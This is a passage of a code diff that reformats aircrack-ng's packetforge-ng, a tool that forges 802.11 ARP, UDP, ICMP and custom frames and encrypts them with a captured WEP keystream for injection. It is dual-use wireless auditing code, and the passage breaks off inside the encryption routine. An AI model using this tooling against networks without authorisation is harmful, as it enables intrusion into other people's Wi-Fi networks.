+
+char usage[] = "\n"
+			   "  %s - (C) 2006-2018 Thomas d\'Otreppe\n"
+			   "  Original work: Martin Beck\n"
+			   "  https://www.aircrack-ng.org\n"
+			   "\n"
+			   "  Usage: packetforge-ng <mode> <options>\n"
+			   "\n"
+			   "  Forge options:\n"
+			   "\n"
+			   "      -p <fctrl>     : set frame control word (hex)\n"
+			   "      -a <bssid>     : set Access Point MAC address\n"
+			   "      -c <dmac>      : set Destination  MAC address\n"
+			   "      -h <smac>      : set Source       MAC address\n"
+			   "      -j             : set FromDS bit\n"
+			   "      -o             : clear ToDS bit\n"
+			   "      -e             : disables WEP encryption\n"
+			   "      -k <ip[:port]> : set Destination IP [Port]\n"
+			   "      -l <ip[:port]> : set Source      IP [Port]\n"
+			   "      -t ttl         : set Time To Live\n"
+			   "      -w <file>      : write packet to this pcap file\n"
+			   "      -s <size>      : specify size of null packet\n"
+			   "      -n <packets>   : set number of packets to generate\n"
+			   "\n"
+			   "  Source options:\n"
+			   "\n"
+			   "      -r <file>      : read packet from this raw file\n"
+			   "      -y <file>      : read PRGA from this file\n"
+			   "\n"
+			   "  Modes:\n"
+			   "\n"
+			   "      --arp          : forge an ARP packet    (-0)\n"
+			   "      --udp          : forge an UDP packet    (-1)\n"
+			   "      --icmp         : forge an ICMP packet   (-2)\n"
+			   "      --null         : build a null packet    (-3)\n"
+			   "      --custom       : build a custom packet  (-9)\n"
+			   "\n"
+			   "      --help         : Displays this usage screen\n"
+			   "\n";
 
 struct options
 {
-    unsigned char bssid[6];
-    unsigned char dmac[6];
-    unsigned char smac[6];
-    unsigned char dip[4];
-    unsigned char sip[4];
-    unsigned char fctrl[2];
-    unsigned char *prga;
-
-    char *cap_out;
-    char *raw_file;
-
-    int mode;
-    int pktlen;
-    int prgalen;
-    int ttl;
-    int size;
-
-    unsigned short sport;
-    unsigned short dport;
-
-    char tods;
-    char fromds;
-    char encrypt;
-
-    FILE* ivs2;
-    unsigned char prev_bssid[6];
-    int first_packet;
-
-    int num_packets;
+	unsigned char bssid[6];
+	unsigned char dmac[6];
+	unsigned char smac[6];
+	unsigned char dip[4];
+	unsigned char sip[4];
+	unsigned char fctrl[2];
+	unsigned char * prga;
+
+	char * cap_out;
+	char * raw_file;
+
+	int mode;
+	int pktlen;
+	int prgalen;
+	int ttl;
+	int size;
+
+	unsigned short sport;
+	unsigned short dport;
+
+	char tods;
+	char fromds;
+	char encrypt;
+
+	FILE * ivs2;
+	unsigned char prev_bssid[6];
+	int first_packet;
+
+	int num_packets;
 } opt;
 
 struct devices
 {
-    int fd_in,  arptype_in;
-    int fd_out, arptype_out;
-    int fd_rtc;
+	int fd_in, arptype_in;
+	int fd_out, arptype_out;
+	int fd_rtc;
 
-    FILE *f_cap_in;
+	FILE * f_cap_in;
 
-    struct pcap_file_header pfh_in;
-}
-dev;
+	struct pcap_file_header pfh_in;
+} dev;
 
 unsigned char h80211[2048];
 unsigned char tmpbuf[2048];
 
-int capture_ask_packet( int *caplen )
+static int capture_ask_packet(int * caplen)
 {
-    time_t tr;
-    struct timeval tv;
-
-    long nb_pkt_read;
-    int i, j, n, mi_b, mi_s, mi_d;
-    int ret;
-
-    struct pcap_pkthdr pkh;
-
-    tr = time( NULL );
-
-    nb_pkt_read = 0;
-
-    if(opt.raw_file == NULL)
-    {
-        printf("Please specify an input file (-r).\n");
-        return 1;
-    }
+	time_t tr;
+	struct timeval tv;
 
-    while( 1 )
-    {
-        if( time( NULL ) - tr > 0 )
-        {
-            tr = time( NULL );
-            printf( "\rRead %ld packets...\r", nb_pkt_read );
-            fflush( stdout );
-        }
-
-        /* there are no hidden backdoors in this source code */
-
-        n = sizeof( pkh );
-
-        if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-        {
-            printf( "\r\33[KEnd of file.\n" );
-            return( 1 );
-        }
+	long nb_pkt_read;
+	int i, j, n, mi_b, mi_s, mi_d;
+	int ret;
 
-        if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-            SWAP32( pkh.caplen );
-            SWAP32( pkh.len );
-        }
+	struct pcap_pkthdr pkh;
 
-        tv.tv_sec  = pkh.tv_sec;
-        tv.tv_usec = pkh.tv_usec;
-
-        n = *caplen = pkh.caplen;
-
-        if( n <= 0 || n > (int) sizeof( h80211 ) )
-        {
-            printf( "\r\33[KInvalid packet length %d.\n", n );
-            return( 1 );
-        }
-
-        if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
-        {
-            printf( "\r\33[KEnd of file.\n" );
-            return( 1 );
-        }
-
-        if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
-        {
-            if( h80211[7] == 0x40 )
-                n = 64;
-            else
-                n = *(int *)( h80211 + 4 );
-
-            if( n < 8 || n >= (int) *caplen )
-                continue;
-
-            memcpy( tmpbuf, h80211, *caplen );
-            *caplen -= n;
-            memcpy( h80211, tmpbuf + n, *caplen );
-        }
-
-        if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
-        {
-            /* remove the radiotap header */
-
-            n = *(unsigned short *)( h80211 + 2 );
-
-            if( n <= 0 || n >= (int) *caplen )
-                continue;
-
-            memcpy( tmpbuf, h80211, *caplen );
-            *caplen -= n;
-            memcpy( h80211, tmpbuf + n, *caplen );
-        }
-
-        if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
-        {
-            /* remove the PPI header */
-
-            n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
-
-            if( n <= 0 || n>= (int) *caplen )
-                continue;
-
-            /* for a while Kismet logged broken PPI headers */
-            if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
-                n = 32;
-
-            if( n <= 0 || n>= (int) *caplen )
-                continue;
-
-            memcpy( tmpbuf, h80211, *caplen );
-            *caplen -= n;
-            memcpy( h80211, tmpbuf + n, *caplen );
-        }
-
-        nb_pkt_read++;
-
-        switch( h80211[1] & 3 )
-        {
-            case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
-            case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
-            case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
-            default: mi_b = 10; mi_d = 16; mi_s = 24; break;
-        }
-
-        printf( "\n\n        Size: %d, FromDS: %d, ToDS: %d",
-                *caplen, ( h80211[1] & 2 ) >> 1, ( h80211[1] & 1 ) );
-
-        if( ( h80211[0] & 0x0C ) == 8 && ( h80211[1] & 0x40 ) != 0 )
-        {
-            if( ( h80211[27] & 0x20 ) == 0 )
-                printf( " (WEP)" );
-            else
-                printf( " (WPA)" );
-        }
-
-        printf( "\n\n" );
-
-        printf( "             BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                h80211[mi_b    ], h80211[mi_b + 1],
-                h80211[mi_b + 2], h80211[mi_b + 3],
-                h80211[mi_b + 4], h80211[mi_b + 5] );
-
-        printf( "         Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                h80211[mi_d    ], h80211[mi_d + 1],
-                h80211[mi_d + 2], h80211[mi_d + 3],
-                h80211[mi_d + 4], h80211[mi_d + 5] );
-
-        printf( "        Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
-                h80211[mi_s    ], h80211[mi_s + 1],
-                h80211[mi_s + 2], h80211[mi_s + 3],
-                h80211[mi_s + 4], h80211[mi_s + 5] );
-
-        /* print a hex dump of the packet */
-
-        for( i = 0; i < *caplen; i++ )
-        {
-            if( ( i & 15 ) == 0 )
-            {
-                if( i == 224 )
-                {
-                    printf( "\n        --- CUT ---" );
-                    break;
-                }
-
-                printf( "\n        0x%04x:  ", i );
-            }
-
-            printf( "%02x", h80211[i] );
-
-            if( ( i & 1 ) != 0 )
-                printf( " " );
-
-            if( i == *caplen - 1 && ( ( i + 1 ) & 15 ) != 0 )
-            {
-                for( j = ( ( i + 1 ) & 15 ); j < 16; j++ )
-                {
-                    printf( "  " );
-                    if( ( j & 1 ) != 0 )
-                        printf( " " );
-                }
-
-                printf( " " );
-
-                for( j = 16 - ( ( i + 1 ) & 15 ); j < 16; j++ )
-                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
-                                    h80211[i - 15 + j] > 126 )
-                                  ? '.' : h80211[i - 15 + j] );
-            }
-
-            if( i > 0 && ( ( i + 1 ) & 15 ) == 0 )
-            {
-                printf( " " );
-
-                for( j = 0; j < 16; j++ )
-                    printf( "%c", ( h80211[i - 15 + j] <  32 ||
-                                    h80211[i - 15 + j] > 127 )
-                                  ? '.' : h80211[i - 15 + j] );
-            }
-        }
-
-        printf( "\n\nUse this packet ? " );
-        fflush( stdout );
-        ret=0;
-        while(!ret) ret = scanf( "%s", tmpbuf );
-        printf( "\n" );
-
-        if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' )
-            break;
-    }
-
-    return( 0 );
-}
+	tr = time(NULL);
 
-int packet_dump(unsigned char* packet, int length)
-{
-    int i;
+	nb_pkt_read = 0;
 
-    if(packet == NULL) return 1;
-    if(length <= 0 || length > 2048) return 1;
+	if (opt.raw_file == NULL)
+	{
+		printf("Please specify an input file (-r).\n");
+		return 1;
+	}
 
-    for(i=0; i<length; i++)
-    {
-        if(i%16 == 0) printf("\n");
-        printf("%02X ", packet[i]);
-    }
-    printf("\n");
+	while (1)
+	{
+		if (time(NULL) - tr > 0)
+		{
+			tr = time(NULL);
+			printf("\rRead %ld packets...\r", nb_pkt_read);
+			fflush(stdout);
+		}
+
+		/* there are no hidden backdoors in this source code */
+
+		n = sizeof(pkh);
+
+		if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+		{
+			printf("\r");
+			erase_line(0);
+			printf("End of file.\n");
+			return (1);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+		{
+			SWAP32(pkh.caplen);
+			SWAP32(pkh.len);
+		}
+
+		tv.tv_sec = pkh.tv_sec;
+		tv.tv_usec = pkh.tv_usec;
+
+		n = *caplen = pkh.caplen;
+
+		if (n <= 0 || n > (int) sizeof(h80211))
+		{
+			printf("\r");
+			erase_line(0);
+			printf("Invalid packet length %d.\n", n);
+			return (1);
+		}
+
+		if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+		{
+			printf("\r");
+			erase_line(0);
+			printf("End of file.\n");
+			return (1);
+		}
+
+		if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+		{
+			if (h80211[7] == 0x40)
+				n = 64;
+			else
+				n = *(int *) (h80211 + 4);
+
+			if (n < 8 || n >= (int) *caplen) continue;
+
+			memcpy(tmpbuf, h80211, *caplen);
+			*caplen -= n;
+			memcpy(h80211, tmpbuf + n, *caplen);
+		}
+
+		if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+		{
+			/* remove the radiotap header */
+
+			n = *(unsigned short *) (h80211 + 2);
+
+			if (n <= 0 || n >= (int) *caplen) continue;
+
+			memcpy(tmpbuf, h80211, *caplen);
+			*caplen -= n;
+			memcpy(h80211, tmpbuf + n, *caplen);
+		}
+
+		if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+		{
+			/* remove the PPI header */
+
+			n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+			if (n <= 0 || n >= (int) *caplen) continue;
+
+			/* for a while Kismet logged broken PPI headers */
+			if (n == 24 && le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+				n = 32;
+
+			if (n <= 0 || n >= (int) *caplen) continue;
+
+			memcpy(tmpbuf, h80211, *caplen);
+			*caplen -= n;
+			memcpy(h80211, tmpbuf + n, *caplen);
+		}
+
+		nb_pkt_read++;
+
+		switch (h80211[1] & 3)
+		{
+			case 0:
+				mi_b = 16;
+				mi_s = 10;
+				mi_d = 4;
+				break;
+			case 1:
+				mi_b = 4;
+				mi_s = 10;
+				mi_d = 16;
+				break;
+			case 2:
+				mi_b = 10;
+				mi_s = 16;
+				mi_d = 4;
+				break;
+			default:
+				mi_b = 10;
+				mi_d = 16;
+				mi_s = 24;
+				break;
+		}
+
+		printf("\n\n        Size: %d, FromDS: %d, ToDS: %d",
+			   *caplen,
+			   (h80211[1] & 2) >> 1,
+			   (h80211[1] & 1));
+
+		if ((h80211[0] & 0x0C) == 8 && (h80211[1] & 0x40) != 0)
+		{
+			if ((h80211[27] & 0x20) == 0)
+				printf(" (WEP)");
+			else
+				printf(" (WPA)");
+		}
+
+		printf("\n\n");
+
+		printf("             BSSID  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_b],
+			   h80211[mi_b + 1],
+			   h80211[mi_b + 2],
+			   h80211[mi_b + 3],
+			   h80211[mi_b + 4],
+			   h80211[mi_b + 5]);
+
+		printf("         Dest. MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_d],
+			   h80211[mi_d + 1],
+			   h80211[mi_d + 2],
+			   h80211[mi_d + 3],
+			   h80211[mi_d + 4],
+			   h80211[mi_d + 5]);
+
+		printf("        Source MAC  =  %02X:%02X:%02X:%02X:%02X:%02X\n",
+			   h80211[mi_s],
+			   h80211[mi_s + 1],
+			   h80211[mi_s + 2],
+			   h80211[mi_s + 3],
+			   h80211[mi_s + 4],
+			   h80211[mi_s + 5]);
+
+		/* print a hex dump of the packet */
+
+		for (i = 0; i < *caplen; i++)
+		{
+			if ((i & 15) == 0)
+			{
+				if (i == 224)
+				{
+					printf("\n        --- CUT ---");
+					break;
+				}
+
+				printf("\n        0x%04x:  ", i);
+			}
+
+			printf("%02x", h80211[i]);
+
+			if ((i & 1) != 0) printf(" ");
+
+			if (i == *caplen - 1 && ((i + 1) & 15) != 0)
+			{
+				for (j = ((i + 1) & 15); j < 16; j++)
+				{
+					printf("  ");
+					if ((j & 1) != 0) printf(" ");
+				}
+
+				printf(" ");
+
+				for (j = 16 - ((i + 1) & 15); j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 126)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+
+			if (i > 0 && i < INT_MAX && ((i + 1) & 15) == 0)
+			{
+				printf(" ");
+
+				for (j = 0; j < 16; j++)
+					printf("%c",
+						   (h80211[i - 15 + j] < 32 || h80211[i - 15 + j] > 127)
+							   ? '.'
+							   : h80211[i - 15 + j]);
+			}
+		}
+
+		printf("\n\nUse this packet ? ");
+		fflush(stdout);
+		ret = 0;
+		while (!ret) ret = scanf("%1s", tmpbuf);
+		printf("\n");
+
+		if (tmpbuf[0] == 'y' || tmpbuf[0] == 'Y') break;
+	}
 
-    return 0;
+	return (0);
 }
 
 /* IP address parsing routine */
-int getip( char *s, unsigned char *ip , unsigned short *port)
+static int getip(char * s, unsigned char * ip, unsigned short * port)
 {
-    int i = 0, n;
+	int i = 0, n;
 
-    while( sscanf( s, "%d", &n ) == 1 )
-    {
-        if( n < 0 || n > 255 )
-            return( 1 );
+	while (sscanf(s, "%d", &n) == 1)
+	{
+		if (n < 0 || n > 255) return (1);
 
-        ip[i] = n;
+		ip[i] = n;
 
-        if( ++i == 4 ) break;
+		if (++i == 4) break;
 
-        if( ! ( s = strchr( s, '.' ) ) )
-            break;
+		if (!(s = strchr(s, '.'))) break;
 
-        s++;
-    }
+		s++;
+	}
 
-    if(i != 4) return 1;
+	if (i != 4) return 1;
 
-    if( ( s = strchr( s, ':' ) ) && i == 4 )
-    {
-        s++;
-        if( sscanf( s, "%d", &n ) == 1 )
-        {
-            if(n > 0 && n < 65536)
-                *port = n;
-        }
-    }
+	if ((s = strchr(s, ':')) && i == 4)
+	{
+		s++;
+		if (sscanf(s, "%d", &n) == 1)
+		{
+			if (n > 0 && n < 65536) *port = n;
+		}
+	}
 
-    return( i != 4 );
+	return (i != 4);
 }
 
-unsigned short ip_chksum(unsigned short* addr, int count)
+static unsigned short ip_chksum(unsigned short * addr, int count)
 {
 	unsigned short checksum;
-	   /* Compute Internet Checksum for "count" bytes
+	/* Compute Internet Checksum for "count" bytes
 		*         beginning at location "addr".
 		*/
 
 	unsigned long sum = 0;
 
-	while( count > 1 )  {
-	   /*  This is the inner loop */
-		   sum += *addr;
-		   addr++;
-		   count -= 2;
+	while (count > 1)
+	{
+		/*  This is the inner loop */
+		sum += *addr;
+		addr++;
+		count -= 2;
 	}
 
-	   /*  Add left-over byte, if any */
-	if( count > 0 )
-		   sum += * (unsigned char *) addr;
+	/*  Add left-over byte, if any */
+	if (count > 0) sum += *(unsigned char *) addr;
 
-	   /*  Fold 32-bit sum to 16 bits */
-	while (sum>>16)
-	   sum = (sum & 0xffff) + (sum >> 16);
+	/*  Fold 32-bit sum to 16 bits */
+	while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
 
 	checksum = ~sum;
 
-    return checksum;
+	return checksum;
 }
 
-int set_tofromds(unsigned char* packet)
+static int set_tofromds(unsigned char * packet)
 {
-    if(packet == NULL) return 1;
-
-    /* set TODS,FROMDS bits */
-    if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 1) )
-    {
-        packet[1] = (packet[1] & 0xFC) | 0x03;    /* set TODS=1,FROMDS=1 */
-    }
-
-    if( ((opt.tods&1) == 1) && ((opt.fromds&1) == 0) )
-    {
-        packet[1] = (packet[1] & 0xFC) | 0x01;    /* set TODS=1,FROMDS=0 */
-    }
-
-    if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 1) )
-    {
-        packet[1] = (packet[1] & 0xFC) | 0x02;    /* set TODS=0,FROMDS=1 */
-    }
-
-    if( ((opt.tods&1) == 0) && ((opt.fromds&1) == 0) )
-    {
-        packet[1] = (packet[1] & 0xFC);           /* set TODS=0,FROMDS=0 */
-    }
-
-    return 0;
+	if (packet == NULL) return 1;
+
+	/* set TODS,FROMDS bits */
+	if (((opt.tods & 1) == 1) && ((opt.fromds & 1) == 1))
+	{
+		packet[1] = (packet[1] & 0xFC) | 0x03; /* set TODS=1,FROMDS=1 */
+	}
+
+	if (((opt.tods & 1) == 1) && ((opt.fromds & 1) == 0))
+	{
+		packet[1] = (packet[1] & 0xFC) | 0x01; /* set TODS=1,FROMDS=0 */
+	}
+
+	if (((opt.tods & 1) == 0) && ((opt.fromds & 1) == 1))
+	{
+		packet[1] = (packet[1] & 0xFC) | 0x02; /* set TODS=0,FROMDS=1 */
+	}
+
+	if (((opt.tods & 1) == 0) && ((opt.fromds & 1) == 0))
+	{
+		packet[1] = (packet[1] & 0xFC); /* set TODS=0,FROMDS=0 */
+	}
+
+	return 0;
 }
 
-int set_bssid(unsigned char* packet)
+static int set_bssid(unsigned char * packet)
 {
-    int mi_b;
+	int mi_b;
 
-    if(packet == NULL) return 1;
+	if (packet == NULL) return 1;
 
-    if( memcmp(opt.bssid, NULL_MAC, 6) == 0 )
-    {
-        printf("Please specify a BSSID (-a).\n");
-        return 1;
-    }
+	if (memcmp(opt.bssid, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a BSSID (-a).\n");
+		return 1;
+	}
 
-    switch( packet[1] & 3 )
-    {
-        case  0: mi_b = 16; break;
-        case  1: mi_b =  4; break;
-        case  2: mi_b = 10; break;
-        default: mi_b = 10; break;
-    }
+	switch (packet[1] & 3)
+	{
+		case 0:
+			mi_b = 16;
+			break;
+		case 1:
+			mi_b = 4;
+			break;
+		case 2:
+			mi_b = 10;
+			break;
+		default:
+			mi_b = 10;
+			break;
+	}
 
-    /* write bssid mac */
-    memcpy(packet+mi_b, opt.bssid, 6);
+	/* write bssid mac */
+	memcpy(packet + mi_b, opt.bssid, 6);
 
-    return 0;
+	return 0;
 }
 
-int set_dmac(unsigned char* packet)
+static int set_dmac(unsigned char * packet)
 {
-    int mi_d;
+	int mi_d;
 
-    if(packet == NULL) return 1;
+	if (packet == NULL) return 1;
 
-    if( memcmp(opt.dmac, NULL_MAC, 6) == 0 )
-    {
-        printf("Please specify a destination MAC (-c).\n");
-        return 1;
-    }
+	if (memcmp(opt.dmac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a destination MAC (-c).\n");
+		return 1;
+	}
 
-    switch( packet[1] & 3 )
-    {
-        case  0: mi_d =  4; break;
-        case  1: mi_d = 16; break;
-        case  2: mi_d =  4; break;
-        default: mi_d = 16; break;
-    }
+	switch (packet[1] & 3)
+	{
+		case 0:
+			mi_d = 4;
+			break;
+		case 1:
+			mi_d = 16;
+			break;
+		case 2:
+			mi_d = 4;
+			break;
+		default:
+			mi_d = 16;
+			break;
+	}
 
-    /* write destination mac */
-    memcpy(packet+mi_d, opt.dmac, 6);
+	/* write destination mac */
+	memcpy(packet + mi_d, opt.dmac, 6);
 
-    return 0;
+	return 0;
 }
 
-int set_smac(unsigned char* packet)
+static int set_smac(unsigned char * packet)
 {
-    int mi_s;
+	int mi_s;
 
-    if(packet == NULL) return 1;
+	if (packet == NULL) return 1;
 
-    if( memcmp(opt.smac, NULL_MAC, 6) == 0 )
-    {
-        printf("Please specify a source MAC (-h).\n");
-        return 1;
-    }
+	if (memcmp(opt.smac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return 1;
+	}
 
-    switch( packet[1] & 3 )
-    {
-        case  0: mi_s = 10; break;
-        case  1: mi_s = 10; break;
-        case  2: mi_s = 16; break;
-        default: mi_s = 24; break;
-    }
+	switch (packet[1] & 3)
+	{
+		case 0:
+			mi_s = 10;
+			break;
+		case 1:
+			mi_s = 10;
+			break;
+		case 2:
+			mi_s = 16;
+			break;
+		default:
+			mi_s = 24;
+			break;
+	}
 
-    /* write source mac */
-    memcpy(packet+mi_s, opt.smac, 6);
+	/* write source mac */
+	memcpy(packet + mi_s, opt.smac, 6);
 
-    return 0;
+	return 0;
 }
 
 /* offset for ip&&udp = 48, for arp = 56 */
-int set_dip(unsigned char* packet, int offset)
+static int set_dip(unsigned char * packet, const int offset)
 {
-    if(packet == NULL) return 1;
-    if(offset < 0 || offset > 2046) return 1;
+	if (packet == NULL) return 1;
+	if (offset < 0 || offset > 2046) return 1;
 
-    if( memcmp(opt.dip, NULL_MAC, 4) == 0 )
-    {
-        printf("Please specify a destination IP (-k).\n");
-        return 1;
-    }
+	if (memcmp(opt.dip, NULL_MAC, 4) == 0)
+	{
+		printf("Please specify a destination IP (-k).\n");
+		return 1;
+	}
 
-    /* set destination IP */
-    memcpy(packet+offset, opt.dip, 4);
+	/* set destination IP */
+	memcpy(packet + offset, opt.dip, 4);
 
-    return 0;
+	return 0;
 }
 
 /* offset for ip&&udp = 44, for arp = 46 */
-int set_sip(unsigned char* packet, int offset)
+static int set_sip(unsigned char * packet, const int offset)
 {
-    if(packet == NULL) return 1;
-    if(offset < 0 || offset > 2046) return 1;
+	if (packet == NULL) return 1;
+	if (offset < 0 || offset > 2046) return 1;
 
-    if( memcmp(opt.sip, NULL_MAC, 4) == 0 )
-    {
-        printf("Please specify a source IP (-l).\n");
-        return 1;
-    }
+	if (memcmp(opt.sip, NULL_MAC, 4) == 0)
+	{
+		printf("Please specify a source IP (-l).\n");
+		return 1;
+	}
 
-    /* set source IP */
-    memcpy(packet+offset, opt.sip, 4);
+	/* set source IP */
+	memcpy(packet + offset, opt.sip, 4);
 
-    return 0;
+	return 0;
 }
 
-int set_ipid(unsigned char* packet, int offset)
+static int set_ipid(unsigned char * packet, const int offset)
 {
-    unsigned short id;
+	unsigned short id;
 
-    if(packet == NULL) return 1;
-    if(offset < 0 || offset > 2046) return 1;
+	if (packet == NULL) return 1;
+	if (offset < 0 || offset > 2046) return 1;
 
-    id = (rand()&0xFFFF);
-    /* set IP Identification */
-    memcpy(packet+offset, (unsigned char*)&id , 2);
+	id = (rand() & 0xFFFF);
+	/* set IP Identification */
+	memcpy(packet + offset, (unsigned char *) &id, 2);
 
-    return 0;
+	return 0;
 }
 
-int set_dport(unsigned char* packet)
+static int set_ip_ttl(unsigned char * packet)
 {
-    unsigned short port;
+	unsigned char ttl;
 
-    if(packet == NULL) return 1;
+	if (packet == NULL) return 1;
 
-    port = ((opt.dport >> 8) & 0xFF) + ((opt.dport << 8) & 0xFF00);
-    memcpy(packet+54, &port, 2);
+	ttl = opt.ttl;
+	memcpy(packet + 40, &ttl, 1);
 
-    return 0;
+	return 0;
 }
 
-int set_sport(unsigned char* packet)
+static int set_IVidx(unsigned char * packet)
 {
-    unsigned short port;
+	if (packet == NULL) return 1;
 
-    if(packet == NULL) return 1;
+	if (opt.prga == NULL)
+	{
+		printf("Please specify a PRGA file (-y).\n");
+		return 1;
+	}
 
-    port = ((opt.sport >> 8) & 0xFF) + ((opt.sport << 8) & 0xFF00);
-    memcpy(packet+52, &port, 2);
+	/* insert IV+index */
+	memcpy(packet + 24, opt.prga, 4);
 
-    return 0;
+	return 0;
 }
 
-int set_ip_ttl(unsigned char* packet)
+static int next_keystream(unsigned char * dest,
+						  const int size,
+						  unsigned char * bssid,
+						  const int minlen)
 {
-    unsigned char ttl;
-
-    if(packet == NULL) return 1;
-
-    ttl = opt.ttl;
-    memcpy(packet+40, &ttl, 1);
+	struct ivs2_pkthdr ivs2;
+	char * buffer;
+	int gotit = 0;
+
+	if (opt.ivs2 == NULL) return -1;
+	if (minlen > size + 4) return -1;
+
+	while (fread(&ivs2, sizeof(struct ivs2_pkthdr), 1, opt.ivs2) == 1)
+	{
+		if (ivs2.flags & IVS2_BSSID)
+		{
+			if ((int) fread(opt.prev_bssid, 6, 1, opt.ivs2) != 1) return -1;
+			ivs2.len -= 6;
+		}
+
+		if (ivs2.len == 0) continue;
+
+		buffer = (char *) malloc(ivs2.len);
+		if (buffer == NULL) return -1;
+
+		if ((int) fread(buffer, ivs2.len, 1, opt.ivs2) != 1)
+		{
+			free(buffer);
+			return -1;
+		}
+
+		if (memcmp(bssid, opt.prev_bssid, 6) != 0)
+		{
+			free(buffer);
+			continue;
+		}
+
+		if ((ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen + 4) && !gotit)
+		{
+			if (size >= ivs2.len)
+			{
+				memcpy(dest, buffer, ivs2.len);
+				opt.prgalen = ivs2.len;
+			}
+			else
+			{
+				memcpy(dest, buffer, size);
+				opt.prgalen = size;
+			}
+			gotit = 1;
+		}
+		free(buffer);
+		if (gotit) return 0;
+	}
 
-    return 0;
+	if (feof(opt.ivs2))
+	{
+		if (fseek(opt.ivs2,
+				  sizeof(IVS2_MAGIC) + sizeof(struct ivs2_filehdr) - 1,
+				  SEEK_SET)
+			== -1)
+		{
+			return -1;
+		}
+		return 1;
+	}
+	return -1;
 }
 
-int set_IVidx(unsigned char* packet)
+static int
+encrypt_data(unsigned char * dest, const unsigned char * data, const int length)
 {
-    if(packet == NULL) return 1;
+	unsigned char cipher[2048];
+	int n;
 
-    if(opt.prga == NULL)
-    {
-        printf("Please specify a PRGA file (-y).\n");
-        return 1;
-    }
+	if (dest == NULL) return 1;
+	if (data == NULL) return 1;
+	if (length < 1 || length > 2044) return 1;
 
-    /* insert IV+index */
-    memcpy(packet+24, opt.prga, 4);
+	if (opt.prga == NULL && opt.ivs2 == NULL)
+	{
+		printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION);
+		return 1;
+	}
 
-    return 0;
-}
+	if (opt.ivs2 != NULL)
+	{
+		n = next_keystream(opt.prga, 1500, opt.bssid, length);
+		if (n < 0)
+		{
+			printf("Error getting keystream.\n");
+			return 1;
+		}
+		if (n == 1)
+		{
+			if (opt.first_packet == 1)
+			{
+				printf("Error no keystream in %s file is long enough (%d).\n",
+					   IVS2_EXTENSION,
+					   length);
+				return 1;
+			}
+			else
+				next_keystream(opt.prga, 1500, opt.bssid, length);
+		}
+	}
 
-int next_keystream(unsigned char *dest, int size, unsigned char *bssid, int minlen)
-{
-    struct ivs2_pkthdr ivs2;
-    char *buffer;
-    int gotit=0;
-
-    if(opt.ivs2 == NULL) return -1;
-    if(minlen > size+4) return -1;
-
-    while( fread( &ivs2, sizeof(struct ivs2_pkthdr), 1, opt.ivs2 ) == 1 )
-    {
-        if(ivs2.flags & IVS2_BSSID)
-        {
-            if ( (int) fread( opt.prev_bssid, 6, 1, opt.ivs2) != 1)
-                return -1;
-            ivs2.len -= 6;
-        }
-
-        if(ivs2.len == 0)
-            continue;
-
-        buffer = (char*) malloc( ivs2.len );
-        if(buffer == NULL)
-            return -1;
-
-        if( (int) fread( buffer, ivs2.len, 1, opt.ivs2 ) != 1)
-        {
-            free(buffer);
-            return -1;
-        }
-
-        if( memcmp(bssid, opt.prev_bssid, 6) != 0 )
-        {
-            free(buffer);
-            continue;
-        }
-
-        if( (ivs2.flags & IVS2_XOR) && ivs2.len >= (minlen+4) && !gotit)
-        {
-            if(size >= ivs2.len)
-            {
-                memcpy(dest, buffer, ivs2.len);
-                opt.prgalen = ivs2.len;
-            }
-            else
-            {
-                memcpy(dest, buffer, size);
-                opt.prgalen = size;
-            }
-            gotit=1;
-        }
-        free(buffer);
-        if(gotit)
-            return 0;
-    }
-
-    if(feof( opt.ivs2 ))
-    {
-        fseek( opt.ivs2, sizeof(IVS2_MAGIC)+sizeof(struct ivs2_filehdr) -1, SEEK_SET);
-        return 1;
-    }
-    return -1;
-}
+	if (opt.prgalen - 4 < length)
+	{
+		printf(
+			"Please specify a longer PRGA file (-y) with at least %i bytes.\n",
+			(length + 4));
+		return 1;
+	}
 
-int encrypt_data(unsigned char *dest, unsigned char* data, int length)
-{
-    unsigned char cipher[2048];
-    int n;
-
-    if(dest == NULL)                return 1;
-    if(data == NULL)                return 1;
-    if(length < 1 || length > 2044) return 1;
-
-    if(opt.prga == NULL && opt.ivs2 == NULL)
-    {
-        printf("Please specify a XOR or %s file (-y).\n", IVS2_EXTENSION);
-        return 1;
-    }
-
-    if( opt.ivs2 != NULL )
-    {
-        n = next_keystream(opt.prga, 1500, opt.bssid, length);
-        if(n < 0)
-        {
-            printf("Error getting keystream.\n");
-            return 1;
-        }
